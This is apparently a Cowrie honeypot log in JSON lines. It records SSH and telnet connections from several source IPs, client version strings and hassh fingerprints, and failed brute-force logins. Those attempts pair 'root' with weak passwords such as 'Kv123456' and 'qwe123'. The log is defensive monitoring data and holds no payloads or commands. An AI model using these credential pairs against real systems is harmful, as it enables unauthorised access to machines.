{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:27.577593Z","src_ip":"119.28.114.76","session":"33fc389371f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52026,"dst_ip":"10.17.0.5","dst_port":23,"session":"da086a2975e5","protocol":"telnet","message":"New connection: 152.42.224.71:52026 (10.17.0.5:23) [session: da086a2975e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:27.866722Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":32770,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c46a713b2dd","protocol":"ssh","message":"New connection: 94.159.98.239:32770 (159.203.135.109:22) [session: 6c46a713b2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:28.327063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:28.332404Z","src_ip":"94.159.98.239","session":"6c46a713b2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:28.457720Z","src_ip":"94.159.98.239","session":"6c46a713b2dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kv123456","message":"login attempt [root/Kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:28.560336Z","src_ip":"119.28.114.76","session":"33fc389371f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasya","message":"login attempt [root/vasya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:28.851936Z","src_ip":"94.159.98.239","session":"6c46a713b2dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"67856a4be23c","protocol":"telnet","message":"New connection: 152.42.224.71:52038 (10.17.0.5:23) [session: 67856a4be23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.450603Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46184,"dst_ip":"159.203.135.109","dst_port":22,"session":"6debdd9bffcc","protocol":"ssh","message":"New connection: 45.156.87.204:46184 (159.203.135.109:22) [session: 6debdd9bffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.534493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.544379Z","src_ip":"45.156.87.204","session":"6debdd9bffcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.629238Z","src_ip":"45.156.87.204","session":"6debdd9bffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.800534Z","src_ip":"119.28.114.76","session":"33fc389371f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.881226Z","src_ip":"45.156.87.204","session":"6debdd9bffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:29.979354Z","src_ip":"94.159.98.239","session":"6c46a713b2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:30.969283Z","src_ip":"45.156.87.204","session":"6debdd9bffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.38647532463074,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:30.974336Z","src_ip":"152.42.224.71","session":"fc43ff99b659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":34380,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d9ec231d3cf","protocol":"ssh","message":"New connection: 124.155.125.131:34380 (159.203.135.109:22) [session: 2d9ec231d3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:32.832604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:32.836849Z","src_ip":"124.155.125.131","session":"2d9ec231d3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.013665Z","src_ip":"124.155.125.131","session":"2d9ec231d3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49368,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d85310b71d5","protocol":"ssh","message":"New connection: 45.156.87.204:49368 (159.203.135.109:22) [session: 6d85310b71d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.234947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.430961Z","src_ip":"45.156.87.204","session":"6d85310b71d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.434470Z","src_ip":"45.156.87.204","session":"6d85310b71d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn123","message":"login attempt [root/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.754383Z","src_ip":"124.155.125.131","session":"2d9ec231d3cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:33.907478Z","src_ip":"45.156.87.204","session":"6d85310b71d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:34.935800Z","src_ip":"124.155.125.131","session":"2d9ec231d3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:34.993673Z","src_ip":"45.156.87.204","session":"6d85310b71d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e910020c2a7","protocol":"telnet","message":"New connection: 152.42.224.71:43856 (10.17.0.5:23) [session: 9e910020c2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:36.732103Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49376,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f53874d2286","protocol":"ssh","message":"New connection: 45.156.87.204:49376 (159.203.135.109:22) [session: 4f53874d2286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:37.105882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:37.110820Z","src_ip":"45.156.87.204","session":"4f53874d2286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:37.192904Z","src_ip":"45.156.87.204","session":"4f53874d2286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:37.442850Z","src_ip":"45.156.87.204","session":"4f53874d2286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"66e275ae160d","protocol":"telnet","message":"New connection: 152.42.224.71:43862 (10.17.0.5:23) [session: 66e275ae160d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:38.165660Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:38.527631Z","src_ip":"45.156.87.204","session":"4f53874d2286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43860,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf69fc5c71ed","protocol":"telnet","message":"New connection: 152.42.224.71:43860 (10.17.0.5:23) [session: bf69fc5c71ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:38.819677Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49390,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0f4a335c364","protocol":"ssh","message":"New connection: 45.156.87.204:49390 (159.203.135.109:22) [session: f0f4a335c364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:40.699637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:40.703841Z","src_ip":"45.156.87.204","session":"f0f4a335c364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:40.788515Z","src_ip":"45.156.87.204","session":"f0f4a335c364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:41.036430Z","src_ip":"45.156.87.204","session":"f0f4a335c364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:42.121242Z","src_ip":"45.156.87.204","session":"f0f4a335c364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96012210845947,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:43.317959Z","src_ip":"152.42.224.71","session":"d8c81f23b8d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43874,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ea3e76d558","protocol":"telnet","message":"New connection: 152.42.224.71:43874 (10.17.0.5:23) [session: 00ea3e76d558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:43.736093Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35004,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1102a18a6f","protocol":"ssh","message":"New connection: 45.156.87.204:35004 (159.203.135.109:22) [session: 2a1102a18a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:44.548501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:44.633690Z","src_ip":"45.156.87.204","session":"2a1102a18a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:44.637260Z","src_ip":"45.156.87.204","session":"2a1102a18a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:45.056552Z","src_ip":"45.156.87.204","session":"2a1102a18a6f","protocol":"ssh"}
